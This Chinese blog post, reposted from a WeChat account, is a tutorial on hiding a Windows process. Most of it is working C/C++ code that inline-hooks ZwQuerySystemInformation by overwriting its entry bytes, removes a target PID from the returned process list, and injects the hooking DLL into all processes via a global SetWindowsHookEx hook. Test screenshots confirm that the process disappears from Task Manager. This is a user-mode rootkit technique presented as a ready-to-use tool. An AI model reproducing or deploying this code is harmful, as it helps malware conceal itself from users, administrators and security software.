本文转载自【微信公众号:MicroPest ,ID:gh_696c36c5382b】,经微信公众号授权转载,如需转载原文作者联系
前面介绍了“进程伪装”、“傀儡进程”,今天介绍“进程隐藏”,这是实战中经常遇到的跟进程有关的技巧。实现进程隐藏的方法很多,这次介绍的是一种较为直接的隐藏方式,InlineHOOK。
一、函数介绍
NTSTATUS WINAPI ZwQuerySystemInformation( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength);参数
SystemInformationClass [in]要检索的系统信息的类型。该参数可以是SYSTEM_INFORMATION_CLASS枚举类型中的以下值之一,其等于5相当于进程信息;SystemInformation[in,out]指向缓冲区的指针,用于接收请求的信息。该信息的大小和结构取决于SystemInformationClass参数的值,如下表所示;SystemInformationLength [in]SystemInformation参数指向的缓冲区的大小(以字节为单位);ReturnLength [out]一个可选的指针,指向函数写入所请求信息的实际大小的位置。如果该大小小于或等于SystemInformationLength参数,则该函数将该信息复制到SystemInformation缓冲区中; 否则返回一个NTSTATUS错误代码,并以ReturnLength返回接收所请求信息所需的缓冲区大小。返回值
返回NTSTATUS成功或错误代码。NTSTATUS错误代码的形式和意义在DDK中提供的Ntstatus.h头文件中列出,并在DDK文档中进行了说明。注意
ZwQuerySystemInformation函数及其返回的结构在操作系统内部,并可能从一个版本的Windows更改为另一个版本。为了保持应用程序的兼容性,最好使用前面提到的替代功能。如果您使用ZwQuerySystemInformation,请通过运行时动态链接访问该函数。如果功能已被更改或从操作系统中删除,这将使您的代码有机会正常响应。但签名变更可能无法检测。此功能没有关联的导入库。您必须使用LoadLibrary和GetProcAddress函数动态链接到Ntdll.dll。
二、实现原理
首先,先来讲解下为什么HOOK ZwQuerySystemInformation函数就可以实现指定进程隐藏。是因为我们遍历进程通常是调用系统WIN32 API函数EnumProcess 、CreateToolhelp32Snapshot等函数来实现,这些WIN32 API它们内部最终是通过调用ZwQuerySystemInformation这个函数实现的获取进程列表信息。所以,我们只要HOOK ZwQuerySystemInformation函数,对它获取的进程列表信息进行修改,把有我们要隐藏的进程信息从中去掉,那么ZwQuerySystemInformation就返回了我们修改后的信息,其它程序获取这个被修的信息后,自然获取不到我们隐藏的进程,这样,指定进程就被隐藏起来了。
其中,我们将HOOK ZwQuerySystemInformation函数的代码部分写在DLL工程中,原因是我们要实现的是隐藏指定进程,而不是单单在自己的进程内隐藏指定进程。写成DLL文件,可以方便我们将DLL文件注入到其它进程的空间,从而HOOK其它进程空间中的ZwQuerySystemInformation函数,这样,就实现了在其它进程空间中也看不到指定进程了。
我们选取DLL注入的方法是设置全局钩子,这样就可以快速简单地将指定DLL注入到所有的进程空间里了。
其中,HOOK API使用的是自己写的Inline Hook,即在 32 位程序下修改函数入口前 5 个字节,跳转到我们的新的替代函数;对于 64 位程序,修改函数入口前 12 字节,跳转到我们的新的替代函数。
三、流程
首先,获取API函数的地址。可以从进程中获取HOOK API对应的模块基址,这样,就可以通过GetProcAddress函数获取API函数在进程中的地址。
然后,根据32位和64位版本,计算需要修改HOOK API函数的前几字节数据。若是32位系统,则需要计算跳转偏移,并修改函数的前5个字节数据;若是64位系统,则需要修改函数的前12字节数据。
接着,修改API函数的前几个字节数据的页面保护属性,更改为RWX,这样是为了确保修改后内存能够执行。
最后,为了能够还原操作,要在修改数据前先对数据进行备份,然后再修改数据,并还原页面保护属性。
四、代码
1、HOOK ZwQuerySystemInformation
void HookApi(){ // 获取 ntdll.dll 的加载基址, 若没有则返回 HMODULE hDll = ::GetModuleHandle("ntdll.dll"); // 获取 ZwQuerySystemInformation 函数地址 typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation"); // 32 位下修改前 5 字节, 64 位下修改前 12 字节#ifndef _WIN64 // jmp New_ZwQuerySystemInformation // 机器码位:e9 _dwOffset(跳转偏移) // addr1 --> jmp _dwNewAddress指令的下一条指令的地址,即eip的值 // addr2 --> 跳转地址的值,即_dwNewAddress的值 // 跳转偏移 _dwOffset = addr2 - addr1 BYTE pData[5] = { 0xe9, 0, 0, 0, 0}; DWORD dwOffset = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5; ::RtlCopyMemory(&pData[1], &dwOffset, sizeof(dwOffset)); // 保存前 5 字节数据 ::RtlCopyMemory(g_OldData32, ZwQuerySystemInformation, sizeof(pData));#else // mov rax,0x1122334455667788 // jmp rax // 机器码是: // 48 b8 8877665544332211 // ff e0 BYTE pData[12] = {0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0}; ULONGLONG ullOffset = (ULONGLONG)New_ZwQuerySystemInformation; ::RtlCopyMemory(&pData[2], &ullOffset, sizeof(ullOffset)); // 保存前 12 字节数据 ::RtlCopyMemory(g_OldData64, ZwQuerySystemInformation, sizeof(pData));#endif // 设置页面的保护属性为 可读、可写、可执行 DWORD dwOldProtect = 0; ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect); // 修改 ::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData)); // 还原页面保护属性 ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);}
2、New_ZwQuerySystemInformation
首先,使用UnHookApi防止因多次同时访问HOOK函数而造成数据混乱,导致数据修改失败。同一时间,应该只有一个线程访问HOOK函数。
然后,通过GetProcAddress函数从ntdll.dll中获取ZwQuerySystemInfomation函数地址并调用执行,检索并获取系统信息。
接着判断检索消息类型是否是进程信息,若是则遍历检索结果,从中剔除隐藏进程的消息。
最后,数据修改完毕后,继续执行HOOK操作,并返回结果。
NTSTATUS New_ZwQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ){ NTSTATUS status = 0; PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL; // 要隐藏的进程PID DWORD dwHideProcessId = 13928; // UNHOOK API UnhookApi(); // 获取 ntdll.dll 的加载基址, 若没有则返回 HMODULE hDll = ::GetModuleHandle("ntdll.dll"); // 获取 ZwQuerySystemInformation 函数地址 typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation"); // 调用原函数 ZwQuerySystemInformation status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength);
if (NT_SUCCESS(status) && 5 == SystemInformationClass) { pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation; while (TRUE) { // 判断是否是要隐藏的进程PID if (dwHideProcessId == (DWORD)pCur->UniqueProcessId) { if (0 == pCur->NextEntryOffset) { //当我们需要隐藏的进程是最后一个数据时 //就将上一个数据结构的NextEntryOffset置0 //这时系统在遍历我们进程时就不会发现了pPrev->NextEntryOffset = 0; } else { //当我们需要隐藏的进程 后面还有进程时 //越过要隐藏的进程让 NextEntryOffset //指向下一个数据块pPrev->NextEntryOffset = pPrev->NextEntryOffset + pCur->NextEntryOffset; } } else {pPrev = pCur; } if (0 == pCur->NextEntryOffset) {break; } pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE *)pCur + pCur->NextEntryOffset); } } // HOOK API HookApi(); return status;}3、设置全局消息钩子注入DLL
int _tmain(int argc, _TCHAR* argv[]){ // 加载DLL并获取句柄 HMODULE hDll = ::LoadLibrary("HideProcess_ZwQuerySystemInformation_Test.dll"); printf("Load Library OK.\n"); // 设置全局钩子 g_hHook = ::SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, hDll, 0); printf("Set Windows Hook OK.\n"); system("pause"); // 卸载全局钩子 UnhookWindowsHookEx(g_hHook); printf("Unhook Windows Hook OK.\n"); // 卸载DLL ::FreeLibrary(hDll); system("pause"); return 0;}
以上的HOOK函数均写在DLL中,写在其中可以方便将DLL注入到其他进程空间,从而隐藏其他进程空间中的ZwQuerySystemInfomation函数,而不单单在自己的进程空间内隐藏指定进程。
4、HideProcess_ZwQuerySystemInformation_Test :定义DLL应用程序的导出函数
对于钩子函数来说,要求DLL的数据段对所有的进程也必须相同。这样您就必须把数据段设成共享的,这可以通过在链接开关中指定段的属性来实现。#pragma data_seg("Shared")HINSTANCE g_hInstance = NULL;HHOOK g_hHook = NULL;HWND g_hWnd = NULL;#pragma data_seg()#pragma comment(linker,"/SECTION:Shared,RWS")
Shared代表该段是共享段。
// 消息全局钩子回调函数
LRESULT CALLBACK GetMsgProc(
int code, // hook code
WPARAM wParam, // removal option
LPARAM lParam // message
)
{
// 不进行任何操作,设置全局钩子的目的就是进行DLL注入而已,主要是主入口进行的API挂钩
return ::CallNextHookEx(g_hHook, code, wParam, lParam);
}
// 设置全局钩子
HHOOK SetHook()
{
HHOOK hHook = ::SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hModule, 0);
g_hHook = hHook;
return hHook;
}
// 卸载全局钩子
BOOL UnsetHook(HHOOK hHook)
{
UnhookWindowsHookEx(hHook);
return TRUE;
}
5、结构体
在源码中有“if(NT_SUCCESS(status)&&5==SystemInformationClass)”,这里的SystemInformationClass是什么?
定义是进程信息为5;
五、程序测试
我们运行将要隐藏进程的程序DisplaySample.exe,然后打开任务管理器,可以查看到它是处于可见状态。接着,以管理员权限运行我们的程序,设置全局消息钩子,将DLL注入到所有的进程中,DLL便在DllMain入口点函数处HOOK ZwQuerySystemInformation函数,成功隐藏DisplaySample.exe的进程。
这是我们要测试隐藏的进程,PID=13928;
运行程序,
再查看任务管理器,
对比上图,发现DisplaySample.exe不见了;
换种方式再测试下,让DisplaySample.exe放于cmd下运行,
呈现出这样的隶属关系,再运行隐藏程序,
发现没有了,这样的隶属关系看得更清楚;
六、验证
因为通过“HideProcess_ZwQuerySystemInformation_Test.dll”来HOOK ZwQuerySystemInformation,所以查找这个Dll文件,发现所有调用ZwQuerySystemInformation都被指向了这个Dll文件。
好的,先到此吧。关于深层次的验证,我也有点没搞透,这个问题将持续研究中。